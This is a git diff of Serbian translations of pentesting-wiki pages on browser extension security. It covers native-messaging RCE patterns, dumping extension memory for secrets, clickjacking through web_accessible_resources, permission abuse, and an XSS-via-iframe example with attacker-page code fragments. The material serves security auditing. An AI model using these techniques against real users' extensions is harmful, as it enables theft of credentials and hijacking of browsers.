uzeti u obzir je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir. +Važna stvar je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir. -Kada se kreiraju nove ekstenzije, prednost treba dati promenama umesto povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je `sendResponse()` funkcija uklonjena iz memorije (sakupljena smeća), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati. +Kada se kreiraju nove ekstenzije, prednost treba dati promenama umesto povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako događajni handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je `sendResponse()` funkcija uklonjena iz memorije (garbage-collected), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati. ## Native Messaging @@ -558,28 +558,28 @@ console.log("Received " + response) ``` U [**ovom blog postu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), predložen je ranjiv obrazac koji zloupotrebljava native poruke: -1. Ekstenzija za pretraživač ima obrazac sa wildcard za sadržaj skripte. +1. Ekstenzija pretraživača ima obrazac sa wildcard za sadržaj skripte. 2. Sadržaj skripte prosleđuje `postMessage` poruke pozadinskoj skripti koristeći `sendMessage`. 3. Pozadinska skripta prosleđuje poruku native aplikaciji koristeći `sendNativeMessage`. 4. Native aplikacija opasno obrađuje poruku, što dovodi do izvršenja koda. -I unutar toga objašnjen je primer **prelaska sa bilo koje stranice na RCE zloupotrebom ekstenzije za pretraživač**. +I unutar toga objašnjen je primer **prelaska sa bilo koje stranice na RCE zloupotrebom ekstenzije pretraživača**. ## Osetljive informacije u memoriji/kodu/clipboard-u -Ako ekstenzija za pretraživač čuva **osetljive informacije unutar svoje memorije**, to može biti **izvučeno** (posebno na Windows mašinama) i **pretraženo** za te informacije. +Ako ekstenzija pretraživača čuva **osetljive informacije unutar svoje memorije**, to može biti **izvučeno** (posebno na Windows mašinama) i **pretraženo** za te informacije. -Stoga, memorija ekstenzije za pretraživač **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**. +Stoga, memorija ekstenzije pretraživača **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**. Naravno, **ne stavljajte osetljive informacije u kod**, jer će to biti **javno**. -Da biste izvadili memoriju iz pretraživača, možete **izvući memoriju procesa** ili da odete na **podešavanja** ekstenzije za pretraživač klikom na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije. +Da biste izvadili memoriju iz pretraživača, možete **izvući memoriju procesa** ili da odete na **podešavanja** ekstenzije pretraživača kliknite na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije. -Štaviše, veoma osetljive informacije kao što su mnemonički ključevi ili lozinke **ne bi trebale biti dozvoljene za kopiranje u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju. +Štaviše, veoma osetljive informacije kao što su mnemonički ključevi ili lozinke **ne bi trebale biti dozvoljene da se kopiraju u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju. -## Učitavanje ekstenzije u pretraživač +## Učitavanje ekstenzije u pretraživaču -1. **Preuzmite** ekstenziju za pretraživač & raspakujte je +1. **Preuzmite** ekstenziju pretraživača & raspakujte je 2. Idite na **`chrome://extensions/`** i **omogućite** `Developer Mode` 3. Kliknite na **`Load unpacked`** dugme @@ -608,18 +608,18 @@ unzip -d "$extension_id-source" "$extension_id.zip" Još jedna pogodna metoda je korišćenje Chrome Extension Source Viewer, koji je projekat otvorenog koda. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod pregledača je dostupan u njegovom [GitHub repozitorijumu](https://github.com/Rob--W/crxviewer). -### Poglejte izvor lokalno instalirane ekstenzije +### Pregledajte izvor lokalno instalirane ekstenzije Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako: 1. Pristupite svom lokalnom profilu Chrome-a tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path". 2. Idite u podfolder `Extensions/` unutar direktorijuma profila. -3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorni kodom u čitljivom formatu. +3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu. Da biste identifikovali ekstenzije, možete mapirati njihove ID-eve na imena: - Omogućite Developer Mode na stranici `about:extensions` da biste videli ID-eve svake ekstenzije. -- Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što vam pomaže da identifikujete ekstenziju. +- Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što pomaže u identifikaciji ekstenzije. ### Koristite arhivator ili raspakivač @@ -627,11 +627,11 @@ Idite na Chrome Web Store i preuzmite ekstenziju. Datoteka će imati ekstenziju ### Koristite Developer Mode u Chrome-u -Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregledanje i modifikovanje koda već preuzete ili razvijene ekstenzije. +Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregled i modifikaciju koda već preuzete ili razvijene ekstenzije. ## Skup podataka manifest ekstenzija Chrome-a -Da biste pokušali da pronađete ranjive ekstenzije pretraživača, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`: +Da biste pokušali da uočite ranjive ekstenzije pretraživača, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -645,8 +645,8 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o - [ ] Koristiti **jaku** **`content_security_policy`** - [ ] **Ograničiti** koliko je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljati ga podrazumevano, specificirati **`{}`** - [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke direktno pozadinskim skriptama**. Veoma moćan zaobilaženje. -- [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazne ako je moguće. -- [ ] Ako **`web_accessible_resources`** nije nijedna, proveriti [**ClickJacking**](browext-clickjacking.md) +- [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazno ako je moguće. +- [ ] Ako **`web_accessible_resources`** nije nijedno, proveriti [**ClickJacking**](browext-clickjacking.md) - [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proveriti XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji. - [ ] Ako se koriste Post Messages, proveriti [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.** - [ ] Ako **Content Script pristupa DOM detaljima**, proveriti da li **ne uvode XSS** ako ih web **modifikuje** @@ -654,7 +654,7 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o - [ ] Ako pozadinska skripta komunicira putem **native messaging**, proveriti da li je komunikacija sigurna i sanirana - [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar koda ekstenzije za pretraživač - [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar memorije ekstenzije za pretraživač -- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **fajl sistema nezaštićeno** +- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **datotečnog sistema nezaštićeno** ## Rizici ekstenzije za pretraživač @@ -665,7 +665,7 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o ### [**Tarnish**](https://thehackerblog.com/tarnish/) - Preuzima bilo koju Chrome ekstenziju sa datog linka Chrome web prodavnice. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest fajla ekstenzije. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest datoteke ekstenzije. - **Analiza otiska**: Detekcija [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatska generacija JavaScript-a za otiskivanje Chrome ekstenzije. - **Potencijalna analiza Clickjacking-a**: Detekcija HTML stranica ekstenzije sa postavljenom direktivom [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Ove su potencijalno ranjive na clickjacking u zavisnosti od svrhe stranica. - **Pregledač upozorenja o dozvolama**: koji prikazuje listu svih upozorenja o dozvolama Chrome-a koja će biti prikazana kada korisnik pokuša da instalira ekstenziju. @@ -674,22 +674,22 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o - I skeneri Opasne funkcije i Ulazne tačke imaju sledeće za svoje generisane alarme: - Relevantni deo koda i linija koja je izazvala alarm. - Opis problema. -- Dugme "Pogledaj fajl" za pregled celog izvornog fajla koji sadrži kod. -- Putanja alarmiranog fajla. -- Potpuni URI Chrome ekstenzije alarmiranog fajla. -- Tip fajla, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd. -- Ako je ranjiva linija u JavaScript fajlu, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. +- Dugme "Pogledaj datoteku" za pregled celokupne izvorne datoteke koja sadrži kod. +- Putanja alarmirane datoteke. +- Potpuni URI Chrome ekstenzije alarmirane datoteke. +- Tip datoteke, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd. +- Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. - **Analizator politike sigurnosti sadržaja (CSP) i proveravač zaobilaženja**: Ovo će ukazati na slabosti u CSP-u vaše ekstenzije i takođe će osvetliti sve potencijalne načine zaobilaženja vašeg CSP-a zbog belih lista CDN-ova itd. - **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri da li se koriste poznate ranjive JavaScript biblioteke. - Preuzimanje ekstenzije i formatiranih verzija. - Preuzimanje originalne ekstenzije. -- Preuzimanje ulepšane verzije ekstenzije (automatski formatiran HTML i JavaScript). +- Preuzimanje formatirane verzije ekstenzije (automatski formatirani HTML i JavaScript). - Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati neko vreme prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata. -- Linkabilni URL-ovi izveštaja, lako povezivanje nekoga sa izveštajem o ekstenziji generisanim od strane tarnish. +- Linkabilni URL-ovi izveštaja, lako povezati nekoga sa izveštajem o ekstenziji generisanim od strane tarnish. ### [Neto](https://github.com/elevenpaths/neto) -Projekat Neto je Python 3 paket osmišljen za analizu i otkrivanje skrivenih funkcija ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih fajlova kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, folderi za lokalizaciju ili JavaScript i HTML izvorni fajlovi. +Projekat Neto je Python 3 paket osmišljen da analizira i razotkrije skrivene funkcije ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih datoteka kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, folderi za lokalizaciju ili JavaScript i HTML izvorne datoteke. ## Reference diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index e2ee4bd0b..50c4a39bf 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -4,7 +4,7 @@ ## Osnovne informacije -Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji pregledača.\ +Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji za pregledač.\ Ako ne znate šta je ClickJacking, proverite: {{#ref}} @@ -13,26 +13,26 @@ Ako ne znate šta je ClickJacking, proverite: Ekstenzije sadrže datoteku **`manifest.json`** i ta JSON datoteka ima polje `web_accessible_resources`. Evo šta [Chrome dokumentacija](https://developer.chrome.com/extensions/manifest/web_accessible_resources) kaže o tome: -> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi sa dozvolama se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -**`web_accessible_resources`** u ekstenziji pregledača nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da: +**`web_accessible_resources`** u ekstenziji za pregledač nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da: - Promene stanje ekstenzije - Učitaju dodatne resurse - Interaguju sa pregledačem do određene mere -Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i sposobnosti resursa ekstenzije. +Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije. ## Primer PrivacyBadger -U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je proglašen kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je deklarisan kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` fajl, koji se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogao bi biti ugrađen unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ove eksploatacije može se videti u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se videti u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje `/skin/*` iz liste `web_accessible_resources`. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj `skin/` direktorijuma ne može biti pristupljen ili manipulisan putem web-pristupa. @@ -79,7 +79,7 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
-**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je zloupotrebi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu. +**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je iskoristi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu. ## Steam Inventory Helper Primer diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 5e790cd57..0a2c8d456 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -8,7 +8,7 @@ Dozvole su definisane u **`manifest.json`** datoteci ekstenzije koristeći **`permissions`** svojstvo i omogućavaju pristup gotovo svemu što pretraživač može da pristupi (Kolačići ili Fizička pohrana): -Prethodni manifest obaveštava da ekstenzija zahteva `storage` dozvolu. To znači da može koristiti [API za pohranu](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) za trajno čuvanje svojih podataka. Za razliku od kolačića ili `localStorage` API-ja koji korisnicima daju određeni nivo kontrole, **pohrana ekstenzije se obično može obrisati samo deinstaliranjem ekstenzije**. +Prethodni manifest obaveštava da ekstenzija zahteva `storage` dozvolu. To znači da može koristiti [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) za trajno čuvanje svojih podataka. Za razliku od kolačića ili `localStorage` API-ja koji korisnicima daju određeni nivo kontrole, **skladištenje ekstenzije se obično može obrisati samo deinstaliranjem ekstenzije**. Ekstenzija će zatražiti dozvole navedene u svojoj **`manifest.json`** datoteci, a nakon instalacije ekstenzije, možete **uvek proveriti njene dozvole u svom pretraživaču**, kao što je prikazano na ovoj slici: @@ -37,7 +37,7 @@ Sledeće `host_permissions` u suštini omogućavaju svaki web: "" ] ``` -Ovo su hostovi kojima ekstenzija pregledača može slobodno pristupiti. To je zato što kada ekstenzija pregledača poziva **`fetch("https://gmail.com/")`**, nije ograničena CORS-om. +Ovo su hostovi kojima ekstenzija pregledača može slobodno pristupiti. To je zato što kada ekstenzija pregledača pozove **`fetch("https://gmail.com/")`**, nije ograničena CORS-om. ## Zloupotreba `permissions` i `host_permissions` @@ -79,11 +79,11 @@ Verovatno znate da web stranice mogu tražiti posebne dozvole, npr. da pristupe Obično, ekstenzija to čini odmah nakon instalacije. Kada se ova poruka prihvati, **pristup web kameri je moguć u bilo kojem trenutku**, čak i ako korisnik u tom trenutku ne interaguje sa ekstenzijom. Da, korisnik će prihvatiti ovu poruku samo ako ekstenzija zaista treba pristup web kameri. Ali nakon toga moraju verovati ekstenziji da neće tajno snimati ništa. -Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), eksplicitno davanje dozvole nije uopšte neophodno. **Ekstenzija jednostavno dodaje `geolocation` ili `clipboard` u** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **njegovog manifesta**. Ove privilegije pristupa se zatim implicitno dodeljuju kada se ekstenzija instalira. Tako zla ili kompromitovana ekstenzija sa ovim privilegijama može stvoriti vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta. +Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), eksplicitno davanje dozvole nije uopšte potrebno. **Ekstenzija jednostavno dodaje `geolocation` ili `clipboard` u** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **njegovog manifesta**. Ove privilegije pristupa se zatim implicitno dodeljuju kada se ekstenzija instalira. Tako zla ili kompromitovana ekstenzija sa ovim privilegijama može stvoriti vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta. Dodavanje **`history`** ključne reči u [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) manifesta ekstenzije dodeljuje **pristup** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Omogućava preuzimanje celokupne istorije pretraživanja korisnika odjednom, bez čekanja da korisnik ponovo poseti te web stranice. -**`bookmarks`** **dozvola** ima sličan potencijal za zloupotrebu, ova dozvola omogućava **čitanje svih oznaka putem** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +Dozvola **`bookmarks`** ima sličan potencijal za zloupotrebu, ova dozvola omogućava **čitati sve oznake putem** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Dozvola za skladištenje @@ -101,7 +101,7 @@ Politika Google-ovih developera izričito zabranjuje ekstenzijama da traže viš Pregledači bi mogli dalje ograničiti zloupotrebu privilegija ekstenzija. Na primer, Chrome-ovi [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API, korišćeni za snimanje ekrana, dizajnirani su da minimiziraju zloupotrebu. tabCapture API može se aktivirati samo kroz direktnu interakciju korisnika, kao što je klik na ikonu ekstenzije, dok desktopCapture zahteva potvrdu korisnika za prozor koji treba snimiti, sprečavajući tajne aktivnosti snimanja. -Međutim, pooštravanje mera bezbednosti često rezultira smanjenjem fleksibilnosti i korisničke prijateljskosti ekstenzija. [activeTab dozvola](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustruje ovu razmenu. Uvedena je da eliminiše potrebu za ekstenzijama da traže privilegije hosta širom interneta, omogućavajući ekstenzijama da pristupaju samo trenutnoj kartici po eksplicitnoj aktivaciji od strane korisnika. Ovaj model je efikasan za ekstenzije koje zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za one koje zahtevaju automatske ili preventivne akcije, čime se kompromituje pogodnost i trenutna reakcija. +Međutim, pooštravanje mera bezbednosti često rezultira smanjenjem fleksibilnosti i korisničke prijateljskosti ekstenzija. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustruje ovu razmenu. Uvedena je da eliminiše potrebu za ekstenzijama da traže privilegije hosta širom interneta, omogućavajući ekstenzijama da pristupaju samo trenutnoj kartici po eksplicitnoj aktivaciji od strane korisnika. Ovaj model je efikasan za ekstenzije koje zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za one koje zahtevaju automatske ili preventivne akcije, čime se kompromituje pogodnost i trenutna reakcija. ## **Reference** diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 8fdcc4035..84aee36e0 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Cross-Site Scripting (XSS) putem Iframe-a +## Cross-Site Scripting (XSS) putem Iframe U ovoj postavci, **content script** se implementira da instancira Iframe, uključujući URL sa upitnim parametrima kao izvor Iframe-a: ```javascript @@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL }) }) }) ``` -Na stranici protivnika izvršava se zlonamerni skript, modifikujući `content` parametar izvora Iframe-a kako bi se uveo **XSS payload**. To se postiže ažuriranjem izvora Iframe-a da uključuje štetni skript: +Na stranici protivnika izvršava se zlonamerni skript, modifikujući `content` parametar izvora Iframe-a kako bi se uveo **XSS payload**. To se postiže ažuriranjem izvora Iframe-a da uključuje štetan skript: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src @@ -78,13 +78,13 @@ $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` -Ovaj deo koda preuzima **vrednost** iz **`txtName`** ulaznog polja i koristi **spajanje stringova za generisanje HTML-a**, koji se zatim dodaje u DOM koristeći jQuery-ovu `.append()` funkciju. +Ovaj deo koda preuzima **vrednost** iz **`txtName`** ulaznog polja i koristi **spajanje stringova za generisanje HTML-a**, koji se zatim dodaje u DOM koristeći jQuery-ovu funkciju `.append()`. -Obično bi Chrome ekstenzija Content Security Policy (CSP) sprečila takve ranjivosti. Međutim, zbog **opuštanja CSP-a sa ‘unsafe-eval’** i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste [`globalEval()`](https://api.jquery.com/jquery.globaleval/) za prosleđivanje skripti u [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prilikom umetanja u DOM), eksploatacija je i dalje moguća. +Obično, Content Security Policy (CSP) Chrome ekstenzije bi sprečila takve ranjivosti. Međutim, zbog **opuštanja CSP-a sa ‘unsafe-eval’** i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste [`globalEval()`](https://api.jquery.com/jquery.globaleval/) za prosleđivanje skripti u [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prilikom umetanja u DOM), eksploatacija je i dalje moguća. Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: posete stranici, unošenja XSS payload-a i aktiviranja dugmeta “Add”. -Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivost. Manifest Chrome ekstenzije prikazuje opširnu `web_accessible_resources` politiku: +Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivost. Manifest Chrome ekstenzije prikazuje opširnu politiku `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", @@ -94,7 +94,7 @@ Da bi se pojačala ova ranjivost, koristi se sekundarna **clickjacking** ranjivo [...] ], ``` -Značajno, stranica **`/html/bookmarks.html`** je podložna uokviravanju, što je čini ranjivom na **clickjacking**. Ova ranjivost se koristi za uokviravanje stranice unutar napadačeve stranice, prekrivajući je DOM elementima kako bi se obmanjujuće redizajniralo korisničko sučelje. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom. +Značajno, stranica **`/html/bookmarks.html`** je podložna okviru, što je čini ranjivom na **clickjacking**. Ova ranjivost se koristi za postavljanje stranice unutar napadačeve lokacije, prekrivajući je DOM elementima kako bi se obmanjivo preuredio interfejs. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom. ## References diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index ac0549b2a..d60a69135 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ 